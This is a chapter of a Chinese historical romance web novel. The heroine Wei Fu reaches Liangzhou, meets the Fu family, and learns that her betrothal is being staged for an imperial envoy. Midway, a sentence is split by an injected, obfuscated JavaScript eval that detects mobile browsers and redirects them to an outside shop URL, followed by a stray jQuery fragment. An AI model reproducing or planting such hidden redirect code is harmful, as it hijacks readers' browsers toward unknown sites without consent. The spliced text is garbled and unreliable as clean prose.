即便有软枕垫在身周,卫芙和简嬷嬷还是吃了些苦头。几日后,总算熬到凉州。
一路行来,烽烟四起,不乏有荒村、荒地。
好在越往陇西走,越是太平。
巍然矗立的夯土高墙是西北特色,外侧墩台则由祁连山石块垒砌而成,棱角分明。
城门敞开,戍守兵卒甲胄齐整,纷纷拱手,喊声朗朗:“恭迎少将军回城!”
这时,卫芙听见烨然含混不清地嘀咕:“什么时候也喊我一声少将军……”
不由莞尔。
从车厢望出去,凉州城内街巷规整,坊舍相连。
酒肆茶坊开门迎客,货郎挑担走街串巷;孩童嬉戏打闹,追着一只高飞的纸鸢越跑越远;老者三两相聚,晒着太阳闲谈说笑……
总觉得高墙之内,就连风雪都变小了。
卫芙放下帘子,眼眶酸涩。
曾经的邺城也是如此安宁,没有惶惶不安,没有朝不保夕。
“女郎。”
到底是乳母,简嬷嬷读得懂卫芙的心思,她搂着卫芙,唤着小枣儿,柔声:“一切都会好起来的。”
不多时,马车缓停,马儿喷着响鼻,蹄子轻轻刨地,想来是到地方了。果不其然,烨然在外喊了声:“阿姐,到家了!”
傅鸿是步嘉裕亲封的凉州刺史兼节度使,马车所停驻的地方自然就是节度使衙署,也称使府。
还未下车时,卫芙听见一道健朗的女声:“狐郎回来了,哎呦,瘦了吧?倒是老幺看着又窜高了些。”
卫芙反应了一下。
听起来狐郎指的是傅以陵?这是他的乳名?狐狸么……看着不像。
傅以陵的母亲姓戚,比卫芙想象的更加神采奕奕,容光焕发。而戚夫人身边的男子想必就是凉公傅鸿,同样的风骨劲健,锐气不减。
卫芙没想到两位长辈齐齐候在府外,心中略有惊讶,带着简嬷嬷上前请安。
“卫芙拜见世伯,拜见伯母。”
戚夫人阔然一笑,往自家儿子脸上略一瞟,旋即来牵卫芙的手。
“到底是中原的水土养人,女郎生得多么标致呀。”
类似夸人的话卫芙听过太多遍,心中没什么触动,只是习惯性回上几句,做到有来有往即可。
谁知戚夫人并非礼节性夸赞,而是真心觉得她生得美、长得好,从她的眼睛夸到她的肌肤,惹得卫芙难以招架。
“伯母唤我采繁吧,这是我的小字。”
刚说完,卫芙注意到傅以陵扭头看了她一眼,被她发现后他又若无其事地转过去,紧接着烨然肩膀一抖,像是有谁搡了他一下。
烨然嚷:“我饿了,娘,有没有炙肉吃?”
戚夫人一顿,挽着卫芙进门,“瞧我,一高兴就忘了。我们采繁的手有点凉呀,狐郎你是怎么照顾人的?来人来人,赶紧上热汤。”
“采繁这个名字真好听,是不是有什么典故?”
“采繁啊,我这小儿子最是调皮,也不知路上有没有给你添麻烦?”
“采繁……”
一声又一声,一句接一句,卫芙有点晕乎乎,心说可能是戚夫人中气十足,声如洪钟,震到她了。
“娘——”烨然宛如破土的春笋,横插到戚夫人和卫芙中间,硬生生把她俩分开,“你怎么光理阿姐不理我?我手也凉呢,你摸。”
“你这混小子,多大了还撒娇?”戚夫人嘴上严厉,但摸到儿子手确实凉且糙,她埋怨一声,心疼地给他捂一捂。
烨然哼哼哈哈地得意起来,告诉爹娘自己打到一头野猪,分与军士吃肉喝汤。
“少哄你娘,野猪肉那么腥,打量我们不知道?”傅鸿无情揭穿,“你倒是说说炖了几个时辰?”
烨然直呼:“我就不能想办法给它去腥吗?我们带着伙头兵,什么肉吃不得!”
三人说笑着,不知不觉把卫芙落下了。戚夫人有所察觉,踅身望去,见傅以陵走在卫芙身边,遂放下心来。
卫芙则是稍稍松了口气。
戚夫人太过热情,吵得她脑袋嗡嗡的,但这是她自身耳力的问题,怪不到人家头上。
不过现在是安静了,却有几分尴尬,傅以陵就这么走在她身边,一言不发……
卫芙想了想,找到话题,“不知少将军的乳名有何源来?”
傅以陵道:“兔起鹘落。”
“嗯?”卫芙险些以为他在对暗号,冷不丁蹦出四个字是什么意思。
傅以陵:“兔起鹘落的鹘,你没听过这个词?”
“听过的。”卫芙终于明白过来,原来不是狐郎,是鹘郎。
鹘,隼也,猛禽也。这样就对上了,确实“鹘”更像他。
龙马鱼肠剑,躞蹀起风尘。武将家起名自有风致。
许是听她口中念念有词,傅以陵眉峰一挑,道:“我娘爱这么唤我,你就别了。”
卫芙:“……”
真是熟悉的味道。
那天他以为荷包是赠他的,也是这种语气。
想什么呢!只是走在一起没人讲话氛围太干了,只是随口问一下,他不会以为她特别想唤他乳名吧。真是自大。
“知道了,傅少将军。”卫芙打定主意,再也不主动跟他搭话。
“你可以唤我——”傅以陵话音中断,眼睁睁看着卫芙加快步伐,绝尘而去。
傅以陵默了一瞬,扭头问简嬷嬷:“我惹她了?”
简嬷嬷但笑不语,福了一礼,赶紧去追她家女郎。
使府规模大,人丁旺,分为前衙与后宅。一路行来,隐约听见马蹄声、兵器碰撞声,想必某一处正是演武场。
过了仪门,越往里走,前衙的声音就越闷,逐渐听不见了。
卫芙被安排在一处朝南的院落,稍作歇息。
**
晚上是接风洗尘宴,按理说是家宴,在戚夫人的介绍下,卫芙把人认全了,发现有一名男子格格不入。
该男子年纪三十岁上下,面白无须,皮笑肉不笑,一点儿没有傅家人的真诚,让人无端想起宫里的内侍。
“这位是舒内侍。”戚夫人道,“得蒙圣上眷恤,特遣使者存问外子与我。”
晋阳宫里的内侍,少帝派来的。
卫芙心里打鼓,面上不显,有礼有节地略一福身便入席了。
席间众人说说笑笑,戚夫人关心了一下沿途过来的艰辛,偶有烨然插科打诨,傅鸿夫妇笑骂他几句,话茬基本上围绕在烨然打的那头野猪身上。
傅以陵的同母兄不在场,也无人对此解释,卫芙未过问,只当不知。
异母兄坐着轮椅,听烨然说过,这位长兄年少时在战场上受伤,毒入骨髓,为保全性命只得舍了双腿。
这般经历,性情多半会出现重大转变,但是卫芙看下来,傅大公子为人谦和,彬彬有礼,至少给她的印象不坏。
两位姐姐则性格迥异,大女郎虽非戚夫人所生,却是同样的豁达爽朗;二女郎话比卫芙还少,众人见怪不怪,想来二女郎生性如此。
另外在座的还有大公子的妻女、大女郎的丈夫,倒是那位姓冯的文士不在场,或许因为冯愹与二女郎还未完婚?
卫芙胡乱猜测着。
他们的交谈她插不进去话,总觉得眼前的场景浮了一层朦胧的雾气,跟庄周梦蝶似的。
好在一人一食案,分餐而食,旁人影响不到她,先填饱肚子再说。
席面散去,傅鸿还意犹未尽,从小儿子猎野猪一路追忆到十几年前他本人在先帝步嘉裕帐下当牙兵的经历,可谓老泪纵横,打湿衣襟。
手上也不闲着,抓着舒内侍的袖子,留他对酒当歌。
戚夫人招呼卫芙,“来,我们娘仨一块说说话。”
又对傅以陵嗔道:“饭不好好吃,就知道盯着采繁,都快叫你盯出花来了。现在把人接到凉州,鹘郎该定心了吧?”
卫芙吓了一大跳。
她可警醒着呢,傅以陵何时盯她了?
“娘,别乱说。”
傅以陵声音很低,惹得卫芙着急上火,下令全军拔营的时候嗓门不是很大么,怎的这会儿不好好澄清?
直到走进内宅,傅以陵直不楞登开口:“你别听我娘乱说,我没盯着你看。”
卫芙觉得莫名其妙,但四周静下来,她没急着回呛,而是若有所悟地看向戚夫人。
戚夫人笑着拧了傅以陵一把,对卫芙说:“让采繁见笑了,方才那番话是说给舒内侍听的。”
果然,席间一幕幕都是假作真时真亦假。
三人在后堂坐下,戚夫人亲热地握着卫芙的手,温声:“今夜是我们冒犯你了,我代众人向你说声对不住。”
原来傅以陵离开凉州没几天少帝那边就派了使者,名义上是慰问关切,却一直逗留不前,明摆着要等傅以陵回来。
少帝想知道傅以陵去邺城的缘由。
对此,傅家称傅以陵惦记未婚妻,亲自接卫芙回凉州。筹粮一事,不在明面上进行。
卫芙心念百转,思绪万千。
怪不得傅以陵一副不想同她攀上关系的模样却随身带着信物,怪不得他在叛军首领面前那么嚣张,生怕别人不知道他去接人……
怪不得戚夫人刚才要讲那样的话,什么他盯着她看,什么把她接回来就定心了……
原来是做给少帝看的。
傅鸿作为镇守西北的节度使,对少帝而言,是肱骨之臣,也是心腹大患。
傅以陵去往邺城,的确需要一个足以取信少帝的理由。
这么一想,除了筹粮,傅以陵应当还有别的任务,例如观察邺城、洛阳局势,刺探石洮大军的底细?
卫芙顿感别扭。
有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886290|212547||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
种被人利用的感觉。
但是她与傅以陵之间本就没有情意,与其说利用与被利用,更像是互相借力吧。
她受他保护,离开动荡的邺城,还保住了部分家产,放走了数十名家仆。
她间接帮助了傅家,留下来就没那么多亏欠感,更加心安理得。
想明白这些,卫芙朝戚夫人笑了下。
她知道,戚夫人不遮不掩地对她说清原委,是信任她的表现,把她视作一家人。
“采繁,令尊去得突然,想必还未仔细对你讲过这桩婚约的来历吧?”
旁人提及父亲是不一样的感受,卫芙略有怔忪,听戚夫人娓娓道来。
两位父亲起于微末。
当时傅鸿是步嘉裕手下的一名低级武官,管着百十号人。那一日,傅鸿押运甲胄等军需用料,遇到一股三百多人的溃兵,慌不择路,见人就砍,见车就抢。
傅鸿一行人死伤过半,困守驿站,派人去最近的县城求援。
接信的卫父赶到一看,溃兵被击退,但傅鸿的车马都伤了。
恰好卫父管着驿站的物资调配,送来健全马匹,以及修车所需的木料、工具等,还自掏腰包给傅鸿的人买了伤药,使得傅鸿能够重新上路。
为记这份恩情,傅鸿当即抽出贴身弯刀赠予卫父。
恰好那时卫芙刚出生不久,两人便定下儿女亲事。
“说起来,我们采繁可是小福星呢。”
戚夫人的笑意比席间真诚多了,让人看了心中熨贴。
“打那以后,鹘郎他爹受到提拔,家里的日子也一天天好起来。如今采繁来了,我们家也算是团圆了。”
福星之说并非客套,戚夫人记得清清楚楚,那一年,鹘郎刚刚学会独自行走跑跳,大的那几个开蒙的开蒙,学艺的学艺,家中处处吃紧,傅鸿跟过好几个将领,在各方打转,一直定不下来,也看不清前路。
这次押送以少胜多,还把物资一件不落地送达目的地,助偏师大获全胜,让步嘉裕看到了有傅鸿这么一个办事利索的人。
说来唏嘘,步嘉裕去世后,其子对傅鸿只有猜忌与提防。
“采繁,”戚夫人取出一把短刀,看起来是贴身之物,“这是我练武第一年用的刀,算不上贵重,但也跟了我二十多年。如今,当作见面礼送给你,我想它比弯刀更适合你。现在的世道,你要懂得保全自己。”
卫芙深受震撼。
旁人家的见面礼可能是首饰玉器,也可能是笔墨纸砚。送刀,还是头回见。
不,好像不算头回,那把弯刀才是头回。
戚夫人与傅节帅还真是天生一对啊。
“多谢伯母。”卫芙郑重接过短刀。
这把刀是明确送给她的,与送给卫家的弯刀不一样。
戚夫人:“赶了一程子路肯定累了,偏偏舒内侍在,劳累你参宴,是我的不是。时候也不早了,先回去歇着。若有什么短缺,尽管吩咐侍女,千万别客气,待明日,让鹘郎领你好好逛一逛。”
又道:“鹘郎,送一送采繁。”
傅以陵不多言,走在卫芙身边。据卫芙看,他不像送客,倒像是领了军令,一丝不苟中透着无可奈何。
怕是出了后堂,离开戚夫人的视线,傅以陵就要撂挑子不干了。
卫芙在心中默数。
结果这人都没挺过五个数,在岔口站住了,灯笼交给侍女,说:“送卫女郎回去。”
侍女应声。
卫芙却没挪步,而是好整以暇地看向傅以陵,拿话逗他。
“只送到岔口么?舒内侍知道少将军如此偷懒么?”
于是灯笼又回到傅以陵手里,他睨她,“请吧。”
今日赴宴卫芙特地打扮过,穿的裙子是邺城带来的,上俭下丰,裙长曳地,走在月光下,如祥云流转,清秀空疏。
她不着痕迹地欣赏月下的影子。
可惜身旁有个煞风景的,张口就是噎人:“你们世家贵女走路真慢。”
卫芙未作声。
傅以陵继续煞风景:“难道走路还得数着步数?”
卫芙不语。
傅以陵顿了顿,将灯笼提高一点,以照清她的神情:“生气了?”
卫芙:“没有。”
傅以陵不信:“那为何不理我?”
这话说得真怪,卫芙忍不住侧目。不看还好,一看他这张脸,诸多欠揍的事迹争先恐后冒出来,真是让人手痒。
卫芙微笑地告诉他:“因为在数步数。”
傅以陵:“……”
让傅以陵吃瘪着实是件乐事,卫芙步子轻快不少。
及至院门口,卫芙心平气和地同他道别。
傅以陵却不依不饶地问:“数清楚了?一共多少步?”
真小气,也真是棋逢对手!卫芙腹诽几句,亲自把门关上。